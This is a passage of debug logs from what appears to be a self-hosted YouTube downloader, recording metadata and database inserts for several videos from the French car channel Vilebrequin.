((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 07:41:05.494 [debug] Current batch of media processed. Will check again in 1000ms 07:41:06.495 [debug] Current batch of media processed. Will check again in 1000ms 07:41:07.498 [debug] Current batch of media processed. Will check again in 1000ms 07:41:08.513 [debug] Current batch of media processed. Will check again in 1000ms 07:41:09.514 [debug] Current batch of media processed. Will check again in 1000ms 07:41:10.515 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "duration" => 2047, "filename" => "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", "id" => "yUaxmvK1qyY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yUaxmvK1qyY", "playlist_index" => 5, "timestamp" => 1699550102, "title" => "Essai Nissan GTR R34 : Rapide et furieuse", "upload_date" => "20231109"} 07:41:10.516 [debug] QUERY OK source="sources" db=0.8ms idle=1045.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:10.517 [debug] QUERY OK source="sources" db=0.6ms idle=1046.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:10.521 [debug] QUERY OK source="media_items" db=3.3ms idle=1047.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 17:15:02Z], 1] 07:41:10.526 [debug] QUERY OK source="media_items" db=3.9ms idle=528.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "ba48670f-04bf-42ba-b39b-77297030e39e", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", 5, "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, false, false, 1, [], 98, ~U[2023-11-09 17:15:02Z], ~U[2026-04-19 05:41:10Z], ~U[2026-04-19 05:41:10Z], "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, 1, ~U[2023-11-09 17:15:02Z]] 07:41:10.528 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=56.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:10.529 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=12.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:10.531 [debug] QUERY OK source="media_items" db=1.3ms idle=12.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 07:41:10.532 [debug] Current batch of media processed. Will check again in 1000ms 07:41:11.533 [debug] Current batch of media processed. Will check again in 1000ms 07:41:12.539 [debug] Current batch of media processed. Will check again in 1000ms 07:41:13.540 [debug] Current batch of media processed. Will check again in 1000ms 07:41:14.542 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "duration" => 2449, "filename" => "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", "id" => "dE7aHyX_0PY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dE7aHyX_0PY", "playlist_index" => 6, "timestamp" => 1698945301, "title" => "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "upload_date" => "20231102"} 07:41:14.543 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=550.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:14.545 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=514.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:14.551 [debug] QUERY OK source="media_items" db=4.9ms queue=0.1ms idle=76.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-02 17:15:01Z], 1] 07:41:14.556 [debug] QUERY OK source="media_items" db=3.6ms idle=82.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "27ae6727-fa97-46b2-bdce-188d79ec424e", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", 6, "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, false, false, 1, [], 98, ~U[2023-11-02 17:15:01Z], ~U[2026-04-19 05:41:14Z], ~U[2026-04-19 05:41:14Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, 1, ~U[2023-11-02 17:15:01Z]] 07:41:14.559 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=86.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:14.561 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.5ms idle=15.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:14.563 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=16.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 07:41:14.563 [debug] Current batch of media processed. Will check again in 1000ms 07:41:15.565 [debug] Current batch of media processed. Will check again in 1000ms 07:41:16.566 [debug] Current batch of media processed. Will check again in 1000ms 07:41:17.567 [debug] Current batch of media processed. Will check again in 1000ms 07:41:18.568 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "duration" => 1667, "filename" => "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", "id" => "-T_CoEUkFBE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-T_CoEUkFBE", "playlist_index" => 7, "timestamp" => 1698336900, "title" => "Essai Ford GT : la supercar oubliée", "upload_date" => "20231026"} 07:41:18.570 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=516.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:18.572 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=100.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:18.578 [debug] QUERY OK source="media_items" db=5.5ms queue=0.1ms idle=102.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-26 16:15:00Z], 1] 07:41:18.629 [debug] QUERY OK source="media_items" db=49.7ms idle=109.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "8a44b840-d98c-4d9e-9b47-3ecd433d2669", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", 7, "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, false, false, 1, [], 98, ~U[2023-10-26 16:15:00Z], ~U[2026-04-19 05:41:18Z], ~U[2026-04-19 05:41:18Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : 